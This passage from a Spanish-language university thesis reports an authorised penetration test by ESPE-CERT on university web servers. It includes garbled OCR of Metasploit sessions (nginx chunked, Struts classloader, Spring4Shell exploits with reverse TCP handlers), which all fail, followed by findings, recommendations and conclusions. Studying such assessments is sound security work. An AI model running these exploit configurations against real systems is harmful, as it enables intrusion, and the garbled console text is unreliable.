Eleccion y ejecucion de otro payload en evirtual2:80 (fallido)

msf6 exploit(

[proxychains] DLL init: proxychains-ng 4.1
[proxychains] DLL init: proxychains-ng 4.16

) > options
6

Module options (exploit/linux/http/nginx_chunked_size):

RHOSTS  192.188.58.165 yes
RPORT 80 yes

Current Setting Required Desc

The

Payload options (generic/ssh/interact):

Name Current Setting Required

Exploit target:

Id Name

@ Ubuntu 13.04 32bit - nginx 1

[proxychains] pLL

[proxychains] DLL

[proxychains] pLL

[proxychains] DLL

[proxychains] pLL i

msf6 exploit(

[proxychains] DLL proxychains.
[proxychains] pLL proxychains-

Desc

4.0

ription

80
80

RRIARIIINRRR

180 - Unable to

target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
The remote HTTP server port (TCP)

ption

> exploit

192.188.58. 1 Searching for stack canary
192.188.58.1 Assuming byte 0 0x00
192.188.58. 1 Brute forcing byte 1

[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain
[proxychains] Dynamic chain

.188.58.165:80
188.58.165:80
188.58.165:80

.188.58.165:80
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Por ultimo, ademas de la modificacion del payload del exploit, se procedié al cambio

de puerto objetivo, se probaron puerto 443 el cual a pesar de llegar a 3 bytes de fuerza

bruta no tuvo resultado satisfactorio (Figura 77), el puerto 8080 por otro lado no pasé del

primer byte, siendo un total resultado fallido (Figura 78).

Figura 77

Ejecucion de otro payload en evirtual2:443 (fallido)
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Figura 78

Ejecucion de otro payload en evirtual2:8080 (fallido)

proxychains init:
[proxychains] DLL init:
msf6 exploit(

[proxychains] DLL init:
[proxychains] DLL init:

Started reverse TCP

192.188.58.165:8080

192.188.58.165:8080

192.188.58.165:8080
[proxychains] Dynamic ch

192.188.58.165:8080

Exploit completed, bi
[proxychains] DLL init:
[proxychains] DLL init
proxychains] DLL init
[proxychains] DLL init:
[proxychains] DLL init:
msf6 exploit(

proxychains-ng 4.16
proxychains-ng 4.16

) > exploit
proxychains-ng 4.16
proxychains-ng 4.16

handler on 10.9.9.243:8082

- Searching for stack canary

- Assuming byte 0 0x00

- Brute forcing byte 1

ain ... 127.0.0.1:9050 ... 192.188.58.165:8080 <--socket error or timeout!
- Exploit failed [unreachable]: Rex nnectionTimeout The connection with (192.188.58.165:8080) timed ouf]
ut no session was created.

proxychains-ng 4.16

proxychains-ng 4.16

proxychains-ng 4.16

proxychains-ng 4.16

proxychains-ng 4.16

Herramienta Metasploit (Man in the Middle)

Para iniciar con el

MITM era necesario conocer las conexiones que se estaban

ejecutando en la red institucional para intentar realizar una intercepcion en las

comunicaciones (Figura 79).

Figura 79

Ejecucion de NetDiscover en la red institucional
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Currently scanning: 10.14.129.0/8 | Screen View: Unique Hosts

1011 Captured ARP Req/Rep packets, from 25 hosts. Total size: 60668

192.168.1.3 :ae:ed:7b:70: 3 Elitegroup Computer Systems Co.,Ltd.
10.9.9.125 :b6:54:ee:cT: 30780 Hewlett Packard
10.9.9.242 :04:a6:4b:3f: 1820 ASUSTek COMPUTER INC.
10.9.9.251 :75:81:b1:45: 540 Unknown vendor
192.168.123.254 :50:18:65:39: 64 AMIT, Inc.
10.9.9.16 :93:4e:dd:e5: 780 Xerox Corporation
10.9.9.1 :20:c2:d7:19: 9840 Aruba, a Hewlett Packard Enterprise (]
16.9.92.195 :90:a9:d5:5d: 8a 1800 WESTERN DIGITAL
0.0.0.0 :83:73:23:f6: 200 Dell Inc.
10.9.9.204 :03:73:23:f6: 240 Dell Inc.
10.9.9.17 :ca:39:fd:a5: 120 Apple, Inc.
10.9.92.73 :ae:ed:7b:6f: 1800 Elitegroup Computer Systems Co.
4620 AzureWave Technology Inc.
4680 AzureWave Technolegy Inc.
64 AMIT, Inc.
60 Dell Inc.
60 Dell Inc.
60 Apple, Inc.
60 Elitegroup Computer Systems Co., Ltd.
60 Dell Inc.
60 Hewlett Packard
c 60 Hon Hai Precision Industry Co., Ltd.
.9, :ae:ed:7b:4d: 60 Elitegroup Computer Systems Co., Ltd.

Una vez sabiendo eso, y conociendo de antemano las vulnerabilidades existentes

primero con la version de apache y con el sistema operativo sobre el cual estaba montada
el servidor web, se procedi6 a buscar exploits relacionados, sobre todo con ataques ssl.
(Figura 80).

Figura 80

Blsqueda de exploits de Apache ssl

ploit ssl 1.21
: searchsploit

Exploit
Apache

Apache
Apache

ck Buffer Ov
'shmop'

' Exte

Asi mismo sabiendo de antemano la versién desactualizada de jQuery que emplea el
servidor se buscaron exploits relacionados (Figura 81).
Figura 81

Blsqueda de exploits de jQuery
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Una vez realizada la busqueda se procedi6 a realizar la ejecucion del exploit
seleccionado, el cual era para la manipulacién remota de cédigo (Figura 82), se
configuraron direcciones IP destino y puertos, asi como también se activé el SSL. (Figura
83).

Figura 82

Seleccion de exploit de manejo remoto

se exploit/multi/http/struts_code_e
/load configured, defaulting to 1i er/reverse_tcp

sLoader Manipulation Remote Code Execution
/http/struts_code_exec_classloader

Redsadic <julian.vilas@gmail.com>
Matthew Hall <hallm@sec-1.com>

Available targets:
Id MName

Windows
Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)

Figura 83
Configuracién de exploit de manejo remoto

msf6 exploit( ) > set RHOSTS 192.188.58.165
HOSTS => 192.188.58.165

sf6 exploit( ) > set SSL true

[!] Changing the SSL option's value may require changing RPORT!

SSL => true

msf6 exploit( ) > set SRVPORT 443
SRVPORT => 443

msf6 exploit( ) > |

La ejecucion del exploit resulté fallida (Figura 84), aun asi, se procedio a intentar la

carga de otro exploit, en esta ocasion se intentd implantar un backdoor el servidor linux en
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donde esta levantado el servidor web, configurandolo con la IP pertinente (Figura 85), asi
mismo la ejecucion resulto fallida.
Figura 84

Ejecucién de exploit de manejo remoto

msf6 exploit( ) > exploit

Started reverse TCP handler on 10.9.9.243:4444

Modifying Class Loader...

Exploit aborted due to failure: timeout-expired: 192.188.58.165:8080 - No answer
Exploit completed, but no session was created.

Figura 85

Seleccion, configuracion y ejecucion de exploit de backdoor

msf6 exploit( ) > set RHOSTS 192.188.58.165
RHOSTS => 192.188.58.165
msf6 exploit( ) > show payloads

Compatible Payloads

Disclosure Date Rank Check Description

0@ payload/cmd/unix/interact normal No Unix Comman
d, Interact with Established Connection

msf6 exploit( ) > exploit
192.188.58.165:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout

The connection with (192.188.58.165:21) timed out.
Exploit completed, but no session was created.

Sabiendo eso, se procedio a intentar ingresar por medio ssl, para ello se buscé en el
directorio de metasploit todos aquellos exploits que tengan que ver con ssl (Figura 86) se
selecciono el de Bleichenbacher Oracle inicialmente, se realizaron las configuraciones
pertinentes del caso, sin embargo, no existio resultado satisfactorio (Figura 87).

Figura 86
Seleccion de exploit bleichenbacher_oracle

msf6 > use auxiliary/scanner/ssl

Matching Modules

Disclosure Date Rank
Description

auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal
OpenSSL Heartbeat (Heartbleed) Information Leak

auxiliary/scanner/ssl/openssl_ccs 2014-06-05 normal
OpenSSL Server—Side ChangeCipherSpec Injection Scanner

auxiliary/scanner/ssl/bleichenbacher_oracle 2009-86-17 normal
Scanner for Bleichenbacher Oracle in RSA PKCS #1 v1.5

Interact with a module by name or index. For example

msf6 > use 2
msf6 auxiliary( ) >




142

Figura 87
Ejecucion de exploit bleichenbacher_oracle

msf6 auxiliary( ) > set RHOSTS 192.188.58.16

RHOSTS => 192.188.58.165
msf6 auxiliary( ) > exploit

Running for 192.188.58.165...

Module dependencies (gmpy2 and cryptography python libraries) missing, c
annot continue

Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed

También se seleccionaron y configuraron ambos exploits de openssl, que se
encuentran en la lista de la Figura 88 sin respuesta satisfactoria, aun asi, se siguio con la
busqueda de mas exploits que tengan que ver con SSL, ya sea en Apache o HTTP.
Figura 88

Busqueda de mas exploits relacionados a SSL

Disclosure Date

oit/multi/http/struts_cod xec_classloader 2014-03-06 manual Apache Struts ClassLoader Manipulation Remote Code Execution
liary/gather/impersonate_ normal HTTP SSL Certificate Impersonation

xploit/multi/http/spring_framework_rce_springshell 2022-83-31 manual Ye Spring Framework Class property RCE (SpringtiShell)

Interact with a module by name or index. For example , or

Los exploits en cuestion se basan en manipulacion remota del servidor, sin embargo,
ninguno fue de utilidad, la sesidn nunca fue creada a pesar de haberse completado el
exploit (Figura 89).

Figura 89
Ejecucién de otro exploit struts_code_exec_classloader (fallido)

msf6 exploit( ) > set RHOSTS 192.188.58.165
RHOSTS => 192.188.58.165
msf6

0
f6 exploit( ) > exploit

Started reverse TCP handler on 10.9.9.243:4444
Modifying Class Loader...
Exploit aborted due to failure: timeout-expired: 192.188.58.165:8080 - No answer
Exploit completed, but no session was created.
nsf6 exploit( ) > |

Figura 90

Ejecucion de exploit impersonate_ssl (fallido)



Figura 91

msf6 auxiliary( ) > set RHOSTS 192.188.58.165
RHOSTS => 192.188.58.165
msf6 auxiliary( ) > exploit

Running module against 192.188.58.165

192.188.58.165:443 - Connecting to 192.188.58.165:443
192.188.58.165:443 — 192.188.58.165:443 No certificate subject or CN found
Auxiliary module execution completed

msf6 auxiliary( ) > set ADD_CN *.espe.edu.ec
ADD_CN => *.espe.edu.ec
msf6 auxiliary( ) > exploit

Running module against 192.188.58.165

192.188.58.165:443 - Connecting to 192.188.58.165:443
192.188.58.165:443 — 192.188.58.165:443 No certificate subject or CN found
Auxiliary module execution completed

msf6 auxiliary( ) > |

Ejecucion de exploit spring_framework_rce_spring4shell (fallido)

msfé6 exploit( ) > set RHOSTS 192.188.58.165
HOSTS => 192.188.58.165
sf6 exploit( ) > run

Started reverse TCP handler on 10.9.9.243:4444
Running automatic check ("set AutoCheck false" to disable)
Exploit aborted due to failure: unknown: Cannot reliably check exploitability. Web server see|
Exploit completed, but no session was created.
msf6 exploit( ) > set SSL true
!]1 Changing the SSL option's value may require changing RPORT!

sfé exploit( ) > run

Started reverse TCP handler on 10.9.9.243:4444
Running automatic check ("set AutoCheck false" to disable)
Exploit aborted due to failure: unknown: Cannot reliably check exploitability. Web server see
Exploit completed, but no session was created.
msfé exploit( set ForceExploit true
ForceExploit => true
msf6 exploit( set AutoCheck false
AutoCheck =>» false
msfé exploit( run

Started reverse TCP handler on 16.9.9.243:4444

[!]1 AutoCheck is disabled, proceeding with exploitation
Exploit aborted due to failure: bad-config: Failed to automatically identify the HTTP method
Exploit completed, but no session was created.
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En vista a la negativa en los tres exploits se hicieron las Ultimas configuraciones de

puertos, asi como otras modificaciones adicionales para testear si existia algun intento

exitoso en el ingreso al sistema, sin embargo, el resultado fue fallido (Figura 92).

Figura 92

Ejecucion de exploit spring_framework_rce_spring4shell con otras configuraciones(fallido)

) > set RPORT 443
) > run
Started reverse TCP handler on 10.9.9.243:44u4
[!] AutoCheck is disabled, proceeding with exploitation
Exploit aborted due to failure: bad-config: Failed to automatically identify t
Exploit completed, but no session was created.
) > set RPORT

) > run

Started reverse TCP handler on 10.9.9.243:4444

[!] AutoCheck is disabled, proceeding with exploitation
Exploit aborted due to failure: bad-config: Failed to automatically identify t
Exploit completed, but no session was created.
msf6 exploit( ) > set AutoCheck true
AutoCheck => true
msf6 exploit( ) > run

Started reverse TCP handler on 10.9.9.243:4444
Running automatic check ("set AutoCheck false" to disable)

[!] Cannot reliably check exploitability. Web server seems unresponsive ForceExploi

Exploit aborted due to failure: bad-config: Failed to automatically identify t
Exploit completed, but no session was created.
msf6 exploit( ) >
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Informe de no conformidades

El objetivo principal del presente informe de no conformidades es documentar las
areas en las que se ha encontrado un incumplimiento con los estandares establecidos
inicialmente y proporcionar recomendaciones para abordar estos problemas.

El informe se basa en una evaluacion realizada tanto al rendimiento del equipo de
operadores, como al sistema en cuestion. El informe incluird una descripcion detallada de
cada no conformidad identificada, asi como las recomendaciones para corregirlas.

Se debe destacar que el objetivo de este informe no es solo identificar problemas,

sino también ayudar a resolverlos para mejorar la calidad del servicio.

Deteccidn de puertos

El objetivo del analisis de puertos que se llevé a cabo fue determinar los servicios
disponibles, puertos abiertos y las debilidades potenciales en cada direccién IP. Se
evaluaron los dominios miespe.espe.edu.ec/srvcas.espe.edu.ec (192.188.58.47),
evirtual2.espe.edu.ec (192.188.58.165) y bannapitest.espe.edu.ec (192.188.58.66). A
continuacioén, se presenta el resultado de dicho andlisis, con desglose de vulnerabilidades
encontradas por cada direccion IP.

Tabla 17

Puertos abiertos y vulnerabilidades por direcciéon IP

Dominio IP Puertos Vulnerabilidad

(espe.edu.ec) Abiertos

miespe/srvcas 192.188.58.47 80/tcp — http e Versién Jquery 1.11.3
443/tcp — https desactualizada
8080/tcp — http (Vulnerabilidad XSS)

e Vulnerabilidad
SWEET32 (ataques

POODLE)
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Dominio IP Puertos Vulnerabilidad
(espe.edu.ec) Abiertos
evirtual2 192.188.58.165 80/tcp — http e Vulnerabilidad
443/tcp — https SWEET32 (ataques
POODLE)
bannapitest 192.188.58.66 80/tcp — http e Apache server no
443/tcp — https actualizado

(Recomendable

Actualizar)

Para concluir el informe de no conformidades, a pesar de haber identificado
vulnerabilidades en el sistema durante la evaluacion de seguridad y escaneo de puertos, no
fue posible vulnerarlo. Esto demuestra la eficacia de las medidas de seguridad
implementadas y la atencion que el equipo encargado de la seguridad informatica ha puesto
en fortalecer la proteccion de los datos y recursos.

No obstante, se debe destacar que es necesario continuar trabajando en mejorar la
seguridad y asegurarse de estar preparados para enfrentar cualquier amenaza o ataque
gue pueda surgir a futuro.

Respecto al servicio de hacking ético, es necesario considerar capacitacion experta
para mejorar los resultados de las pruebas de intrusion, para efectos de este proyecto de
titulacion la capacitacion se ha ejecutado por medio de documentacion que se encuentra en
internet, ya sea por cursos gratuitos o cursos pagados en plataformas como Udemy, la
diferencia que se encontrd en los contenidos de los cursos de pago vs los cursos gratuitos
es considerable, y alin estos cursos de pago no tienen el nivel de experticia que si tendria
un curso de certificacion de ethical hacking, estos cursos de certificacion permitirian al
equipo que ejecuta los servicios de ethical hacking desarrollar sus propias herramientas de

hackeo.
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Al considerar los conocimientos y la capacidad de ejecucién del equipo de hacking
ético es importante considerar la clasificacion de los tipos de hackers de acuerdo con su
nivel de conocimiento, entre los cuales encontramos:

= Script Kiddie. Corresponden a la mayoria de los hackers que se encuentran en

internet, suelen ser equipos solitarios que ejecutan técnicas aprendidas, no
pueden crear sus propias herramientas o exploits.
= Script Writer. Corresponde a una porcion muy reducida de los hackers que se
encuentran en internet, tienen los conocimientos técnicos para modificar y
extender las herramientas de hacking ético que existen, pueden identificar
nuevas vulnerabilidades que no se encuentran en las bases de datos de internet.

= Elite. Representan una minima porcion de los hackers que se encuentran en
internet, poseen alto nivel técnico y experiencia, pueden descubrir o generar
nuevas vulnerabilidades y son el grupo de hackers que crean las herramientas
publicas o privadas que se encuentran en internet.

Considerando esta clasificacion podemos considerar que el equipo necesita
capacitacion experta para asegurar y cimentar conocimientos que permitan al equipo
ingresar al grupo de script writers, y este grupo debe ser el objetivo del equipo que ofrece el
servicio ya que el grupo elite es son individuos considerados en los equipos de Advanced
Persistent Thread.

Figura 93

Clasificacion de hackers de acuerdo con su nivel de conocimiento

Nivel de
experiencia y Y
conocimientos . Script Writers

técnicos 8-10%
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Adicionalmente, existen herramientas open source de hacking ético que cuentan con
una version de pago, nos enfocaremos en Metasploit cuya version de pago esta
especializada para equipos de seguridad y auditores de seguridad expertos, una de las
principales bondades es la posibilidad de acceder a exploits y scripts que no han sido
publicados aun en internet, integracion directa con la metodologia OWASP y soluciones de
dynamic payloads para vulnerar sistemas de seguridad.

Las vulnerabilidades identificadas durante la evaluacién deberan ser parcheadas y
corregidas de manera oportuna para minimizar el riesgo de ser explotadas. Ademas, se
recomienda considerar la implementacion de soluciones adicionales de seguridad y realizar
evaluaciones periddicas para mantener un alto nivel de proteccion.

En resumen, aunque no se pudo vulnerar el sistema, es necesario continuar
trabajando en fortalecer la seguridad, y para fortalecer el servicio de hacking ético seria
determinante considerar asignar recursos a la capacitaciéon y la adquisién de herramientas
de intrusion de pago, para efecto de mantener la explicabilidad estos resultados los
compilamos a manera de preguntas y respuesta sobre la ejecucion del servicio en la Tabla
18.

Tabla 18

Preguntas de la ejecucion del servicio

# Preguntas Respuesta

1 ¢Como se ejecuto el proceso  Se procedié con fuentes de documentacion
de capacitacion para oficial sobre las herramientas seleccionadas y
aprovisionar el servicio? se revisaron cursos gratuitos y un curso de pago
para fortalecer los conocimientos y
procedimientos de hacking ético.

2 ¢Como se realiz6 el disefio Se considero diferentes metodologias de
del servicio de hacking ético pruebas de penetracion, se concluy6 que la
gue se ejecuto sobre las metodologia OWASP es la mas apta para ser
uTIC? implementada como servicio en el ESPE-CERT,

ya que nos permite disefiar un servicio acorde a
las necesidades particulares del cliente, en este
caso las UTIC.

3 ¢Cbmo se determiné el Se estudio el caso de aprovisionamiento del
alcance y los objetivos del servicio de hacking ético planteado, para esto
servicio de hacking ético? hubo comunicacion directa con el equipo
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# Preguntas

Respuesta

4 ¢ Qué aspectos permiten
asegurar que el servicio sea
ejecutado en un contexto
ético?

5 ¢Cudles son las fases que se
deben ejecutar al provisionar
el servicio de hacking ético?

6 ¢Se pudo constatar el nivel
de seguridad o vulnerabilidad
que existe en la
infraestructura de las UTIC
desde un ataque externo?

7 ¢Se pudo constatar el nivel
de seguridad o vulnerabilidad
que existe en la
infraestructura de las UTIC
desde un ataque interno?

8 ¢Qué aspectos se deben
considerar para mejorar la
seguridad de la
infraestructura de las UTIC?

9 ¢Qué aspectos se deben
considerar para mejorar el
servicio de hacking ético en el
futuro?

responsable de las UTIC, con el cual se
determind los resultados esperados, el nivel de
penetracion que se solicité ejecutar, la
confidencialidad que debe existir en la ejecucion
del servicio y otros aspectos a considerar al
disefar el servicio.

A partir del estudio del estado del arte hemos
determinado la importante de incluir un marco
ético de desarrollo de las operaciones de
hacking ético, este marco ético se enfoca en la
beneficencia, la no-malevolencia, autonomia,
justicia y la explicabilidad.

De acuerdo al material con el cual nos hemos
capacitado, el servicio de hacking ético debe
contar con las fases de: Recolecciéon de
informacion, escaneo de vulnerabilidades,
explotacién de vulnerabilidades, mantener
acceso y anonimato.

Durante la ejecucion del servicio de hacking
ético pudimos constatar que las aplicaciones de
las UTIC seleccionadas para las pruebas de
intrusién cuentan con un buen nivel de
proteccién a intrusiones externas.

A pesar de que en el alcance del servicio de
hacking ético no se contempl6 pruebas de
intrusién internas, con la herramienta nessus se
constaté que existe una vulnerabilidad que
permitiria intrusiones POODLE y ataques Man in
the Middle en la infraestructura de red interna.

Si bien las protecciones externas funcionan
correctamente, una amenaza mas especializada
gue pueda realizar una intrusion al sistema de
red externa se encontraria con un panorama de
vulnerabilidad total una vez se encuentre en la
red interna, es necesario fortalecer esta red e
implementar mecanismos de control en tiempo
real.

Se debe considerar asignar presupuesto para
realizar capacitaciones expertas al equipo que
se encargue de ejecutar las operaciones de
servicio, de esta forma el equipo estara en la
capacidad de detectar vulnerabilidades mas
profundas.
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Mejora del servicio y resolucion de las no conformidades

Después de un exhaustivo analisis y pruebas realizadas y a pesar de que se
encontraron puertos abiertos, se ha concluido que el mismo se encuentra protegido contra
posibles vulnerabilidades y ataques externos.

Sin embargo, durante el proceso de escaneo y prueba, se logré identificar algunas
vulnerabilidades internas que, si bien no permitieron al equipo de operadores comprometer
exitosamente el sistema, pueden ser explotadas en un futuro.

Aun asi, se debe destacar que el equipo de pruebas ha seguido un enfoque riguroso
y profesional, ejecutado dentro del marco ético estudiado en el capitulo 2, y que los
resultados obtenidos son un reflejo de la eficacia de las medidas de seguridad
implementadas en las aplicaciones web sobre las cuales se ejecutaron las pruebas.

En vista de esto, se recomienda realizar un parche de seguridad para corregir las
vulnerabilidades internas identificadas, incluyendo la continua actualizacién de sus
componentes, permitiendo asi, mantener la proteccién del sistema y mejorar su seguridad a
largo plazo.

Respecto al sistema de red, se recomienda ejecutar un continuo monitoreo y mejora
de las medidas de seguridad para mantener la proteccion en el futuro.

Respecto al servicio de hacking ético, es fundamental destacar la importancia de
mantener un equipo capacitado y actualizado en operaciones especificas de hacking ético
debido a que el entorno tecnoldgico y las amenazas a la seguridad son cada vez mas
complejos y dindmicos, es necesario asegurarse de que el equipo esté preparado para
enfrentarlos y simular ataques mas efectivos.

Por ello, se recomienda continuar con programas de capacitacion y actualizacion
para el equipo de hacking ético, en los siguientes topicos:

1. Técnicas y herramientas actuales de hacking ético.
2. Nuevas tendencias y amenazas en la seguridad informética.
3. Mejores practicas y estandares de seguridad.

4. Andlisis de vulnerabilidades profundo y ataques en aplicativos y sistemas.
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5. Manipulacién de herramientas ya existentes de hacking.

La capacitacidon continua permitira asegurar un alto nivel de competencia y
conocimiento en el equipo, y mejorara la capacidad de realizar pruebas de seguridad de
manera eficaz y profesional a futuro.

Ademas, se sugiere considerar programas de certificacion y acreditacién en materia
de seguridad informatica, como el CEH (Certified Ethical Hacker), que permitiran reconocer
y validar los conocimientos y habilidades del equipo.

En resumidas cuentas, un equipo de hacking ético capacitado y actualizado es un
equipo mas eficaz y preparado para enfrentar los retos y amenazas de la seguridad

informéatica.
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Capitulo V

Conclusiones y recomendaciones

Conclusiones

El estudio del estado del arte permitié conocer en profundidad la importancia de este
tema en la actualidad y la necesidad de mantener sistemas seguros, lo que nos ha
permitido analizar la evolucion del hacking ético, desde sus inicios hasta su consolidacion
como una herramienta clave en la evaluacion de la seguridad de los sistemas.

Existe un alto nivel de relevancia en realizar evaluaciones periddicas de seguridad
para garantizar la proteccion de los datos y recursos, asi como también es de gran
importancia de contar con equipos de profesionales capacitados en hacking ético para llevar
a cabo las evaluaciones, un sistema de la informacién puede ser vulnerable a método de
explotacién que el equipo de Tl de la organizacién cliente desconoce, y solo una prueba de
intrusion ejecutada por un equipo de alto nivel permitira reconocer estas vulnerabilidades

Respecto a la conformacion de un equipo que ejecute operaciones de hacking ético,
es de vital importancia la incorporacién de un marco ético de actuacién que permita
salvaguardar la seguridad de la informacion de la organizacion cliente, ademas de que el
marco ético permitird al equipo tomar decisiones cuando se encuentren dificultades, es asi
gue el marco ético debe ser una de las principales herramientas que un hacker ético debe
tener en mente, el CERT académico de la ESPE, por su objetivo de integrar la comunidad
académica interesada, debe tomar como prioridad el ensefiar estos aspectos éticos sobre
los estudiantes en formacion, igualmente, es importante mantener actualizadas las
herramientas de seguridad y el conocimiento de nuevas técnicas y metodologias de ataque
para poder ejecutarlas correctamente en el contexto del aprovisionamiento del servicio, y
para poder ayudar a la organizacion cliente a protegerse contra ellas.

Al desarrollar las fases de estrategia, disefio y transicion se ha establecido una
version operable del servicio de hacking ético, la estructura que se ha determinado y
disefiado debera ser considerada en el futuro al momento de provisionar el servicio de

hacking éticos bajo demanda a nuevos clientes, lo que presentamos en este proyecto de
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titulacion permitira a futuros equipos tomar elementos importantes como los niveles de
servicios, el marco ético, el disefio del servicio, la gestién de la continuidad del servicio,
entre otros, para adaptar las operaciones del servicio de hacking ético al caso particular de
la organizacion cliente que solicite este servicio, igualmente el disefio y transicion que se ha
desarrollado permitird estudiar las necesidades y expectativas del cliente y contrastarlas con
las capacidades el equipo de hacking ético, permitiendo maximizar los resultados
satisfactorios de las pruebas que se ejecuten sobre los activos de la informacion de la
organizacion cliente, con el objetivo final de permitir a la organizacidén que solicita el servicio
mejorar la confianza de sus clientes e involucrados en su infraestructura de la informacion,
demostrando su compromiso con la seguridad y la proteccién de los datos.

El caso de estudio que se ha tomado para implementar el servicio de hacking ético
en el ESPE-CERT nos permiten concluir que tanto el laboratorio del ESPE-CERT como el
equipo que ejecuta el servicio se encuentra en capacidad de aprovisionar este servicio de
forma satisfactoria, se han determinado vulnerabilidades internas y externas en las
aplicaciones seleccionadas de las UTIC, se ha determinado que la explotacion de las
vulnerabilidades internas podrian causar un alto impacto negativo sobre los sistemas de la
informacion de las UTIC, sin embargo, es posible mejorar la fase de explotacion de
vulnerabilidades con dos acciones, principalmente asignando presupuesto para realizar
capacitaciones expertas al equipo que ejecuta el servicio, lo que permitiria identificar y crear
vulnerabilidades que no se encuentran en las bases de datos de las herramientas de
escaneo y explotacion, asi como modificar las herramientas existentes de hacking ético, y
finalmente, sin restarle importancia, adquirir las versionas de pago de herramientas como
metasploit permitiran utilizar exploits mas especificos y complejos, ademas de que las
bases de datos anti-exploits, que utilizan los sistemas de la informacién, ain no incluyen
estos exploits.

En definitiva, fue de vital importancia de realizar un proceso de estrategia, disefio,
transicion, operacioén y mejora del servicio de hacking ético en el CERT académico de la

ESPE, un equipo de respuestas a incidentes informéticos debe contemplar en sus
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operaciones la prevencion de ataques y mitigacion de vulnerabilidades, las capacidades de
un servicio de hacking ético para cumplir estos objetivos no puede ser subestimada, ya que
se trata de un elemento clave para garantizar la seguridad y proteccion de sus sistemas y

datos en todo momento.

Recomendaciones

Es importante integrar los servicios que se encuentran implementados en el ESPE-
CERT de forma que sea facil explicar a los representantes de las organizaciones que
contratan los servicios como estos se complementan y maximizan sus resultados, en este
contexto es importante priorizar la explicabilidad, minimizando el lenguaje técnico en la fase
de comunicacion con la organizacion cliente, esto porque el objetivo final de aprovisionar
servicios desde el ESPE-CERT es que el responsable o responsables de la organizacién
puedan entender y mejorar su seguridad de la informacion, protegiendo de formas mas
efectiva sus activos de la informacion.

El principal framework de explotacion de vulnerabilidades Metasploit cuenta con méas
de 3000 herramientas de explotacién en su aplicativo gratuito, su version de pago cuenta
con aun mas exploits mucho mas especificos que no han sido liberados al publico, sin
embargo, para poder aprovechar una herramienta tan poderosa es importante priorizar la
capacitacion y certificacion de los miembros del equipo que ejecutan las operaciones del
servicio de hacking ético, mientras mas especializada la certificacion, como la certificacion
CEH (Certified Ethical Hacker), SANS GPEN, OSCP (Certificado Profesional de Seguridad
Ofensiva), entre otros, mas capacidad tendra el equipo de utilizar efectivamente las
herramientas de hacking, asi como, empezar a modificar y mejorar las herramientas ya
existentes, esto permitird maximizar los resultados satisfactorios de las pruebas de intrusion
y finalmente, permitir4 que la organizacion cliente pueda mitigar sus vulnerabilidades antes
de sufrir un ataque.

Finalmente, se recomienda que los futuros procesos de integracion con la
comunidad académica que se realicen en el ESPE-CERT incluyan como pilar del proceso

educativo la ensefianza del marco ético de actuacion para el servicio de hacking ético,
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incluso grandes organizaciones de seguridad que certifican hackers éticos incluyen un
extenso modulo de ética en las operaciones del servicio, esto debe tomarse en cuenta para
los futuros miembros del ESPE-CERT que quieran participar de actividades de hacking
ético, el marco de principios éticos les permitira evitar y responder a posibles problemas de
la mejor manera posible tanto como para el auditor como para la organizacién que solicita el

servicio.
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